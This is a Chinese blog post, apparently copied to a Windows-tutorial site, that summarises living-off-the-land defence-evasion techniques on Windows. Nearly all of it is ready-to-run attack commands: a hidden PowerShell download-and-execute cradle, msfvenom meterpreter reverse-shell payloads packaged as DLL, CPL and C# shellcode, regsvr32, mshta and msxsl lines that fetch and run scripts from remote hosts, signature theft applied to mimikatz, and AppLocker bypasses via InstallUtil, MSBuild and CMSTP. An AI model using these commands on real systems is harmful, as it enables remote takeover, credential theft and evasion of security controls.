Windows命令执行防御规避总结

  今天小编为大家带来Windows命令执行防御规避总结,具体如下:

Windows命令执行防御规避总结

  powershell

  powershell.exe -nop -w hidden -c \“IEX ((new-object net.webclient).downloadstring(‘https://xx.xx.xx.xx:8888/logo.gif’))\”“ /f

  SIP

  通过sip劫持对恶意代码签名获得系统信任https://github.com/secretsquirrel/SigThief

  python sigthief.py -i consent.exe -t mimikatz.exe -o signed-mimikatz.exe

  rundll32.exe

  生成

  msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=4444 -f dll 》xxx.dll

  目标执行

  rundll32.exe shell32.dll,Control_RunDLL xxx.dll

  Regsvr32.exe

  msfconsole

  auxiliary/server/regsvr32_command_delivery_server

  set CMD net user test 123456 /add

  目标执行

  regsvr32 /s /n /u /i:https://xx.xx.xx.xx:8080/aPxOb0o scrobj.dll

  InstallUtil.exe

  1.编译后门:

  C:\Windows\Microsoft.NET\Framework64\v4.0.30319》csc.exe /r:System.EnterpriseServices.dll /unsafe /target:library /out:xxx.exe /keyfile:”C:\Program Files (x86)\Microsoft SDKs\Windows\v10.0A\bin\NETFX 4.8 Tools\x64\key.snk“ xxx.cs

  2.靶机上运行:

  InstallUtil.exe /U xxx.exe

  3.msf监听,得到反弹的shell:

  set payload windows/x64/meterpreter/reverse_tcp

  set LHOST xx.xx.xx.xx

  set LPORT 4444

  exploit

  Msbuild.exe

  MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台,MSBuild可编译特定格式的xml文件

  https://github.com/3gstudent/msbuild-inline-task

  msf生成shellcode

  msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=4444

  -f csharp

  使用shellcode替换https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20x64%20shellcode.xml中的shellcode部分

  msf监听

  use exploit/multi/handler

  set payload windows/x64/meterpreter/reverse_tcp

  set lhost xx.xx.xx.xx

  set lport 4444

  exploit

  运行

  C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe exec64.xml

  CMSTP

  cmstp.exe /s /ns C:\Users\administrator\AppData\Local\Temp\XKNqbpzl.txt绕过AppLocker并启动恶意脚本

  Mshta.exe

  Mshta.exe 是一个执行 Microsoft HTML 应用程序 (HTA) 的实用程序,攻击者可以使用 mshta.exe 通过受信任的 Windows 实用程序代理执行恶意代码

  use exploit/windows/misc/hta_server

  msf exploit(windows/misc/hta_server) 》 set srvhost xx.xx.xx.xx

  msf exploit(windows/misc/hta_server) 》 exploit

  mshta.exe https://xx.xx.xx.xx:8080/xxxxxxx.hta

  控制面板

  攻击者可以使用控制面板项作为有效载荷来执行任意命令,控制面板项是注册的可执行文件(.exe)或控制面板(.cpl)文件,可以直接从命令行执行或通过Control_RunDLL(API)调用或者直接双击文件。

  攻击者构造恶意的dll文件CPIApplet.dll

  利用msf生成dll文件:

  msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=170.170.64.17 LPORT=4444 -f dll 》 /tmp/CPIApplet.dll

  传入windows机器,然后重命名为CPIApplet.cpl,通过control.exe c:\users\administrator\desktop\CPIApplet.cpl 执行命令

  通过msxsl.exe调用恶意xml文件执行脚本

  制作两个文件

  customers.xml

  script.xsl

  xmlns:xsl=”https://www.w3.org/1999/XSL/Transform“

  xmlns:msxsl=”urn:schemas-microsoft-com:xslt“

  xmlns:user=”https://mycompany.com/mynamespace“》

  function xml(nodelist) {

  var r = new ActiveXObject(”WScript.Shell“).Run(”cmd.exe /k calc.exe“);

  return nodelist.nextNode().xml;

  }

  开启http服务

  python3 -m http.server 80

  远程下载执行

  msxsl.exe https://xx.xx.xx.xx/customers.xml https://xx.xx.xx.xx/scrip.xsl

返回神马指导员首页>>

转载出处标题:Windows命令执行防御规避总结

网站链接:https://www.smzdy.com/win11course/2650.html

免责声明:根据《计算机软件保护条例》第十七条规定“为了学习和研究软件内含的设计思想和原理,通过安装、显示、传输或者存储软件等方式使用软件的,可以不经软件著作权人许可,不向其支付报酬。”
本站所发布的一切Windows教程,教程文章,破解补丁、注册机和注册信息及软件的文章等图文资源仅限用于学习和研究目的;本站并不贩卖软件,不存在任何商业目的及用途,网站会员捐赠是您喜欢本站而产生的赞助支持行为,仅为维持服务器的开支与维护,全凭自愿无任何强求。你不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。
本站信息来自网络,不承担任何由于内容的版权、合法性等所引起的争议与法律责任!您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。访问和下载本站内容,说明您已同意上述条款。
本站为个人博客非盈利性站点,所有软件信息均来自网络,所有资源仅供学习参考研究目的。如您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。本站如果侵犯你的利益,携带权利证明请发送邮箱到 s7web888#gmail.com,我们会很快的为您处理。

发表回复

登录后才能评论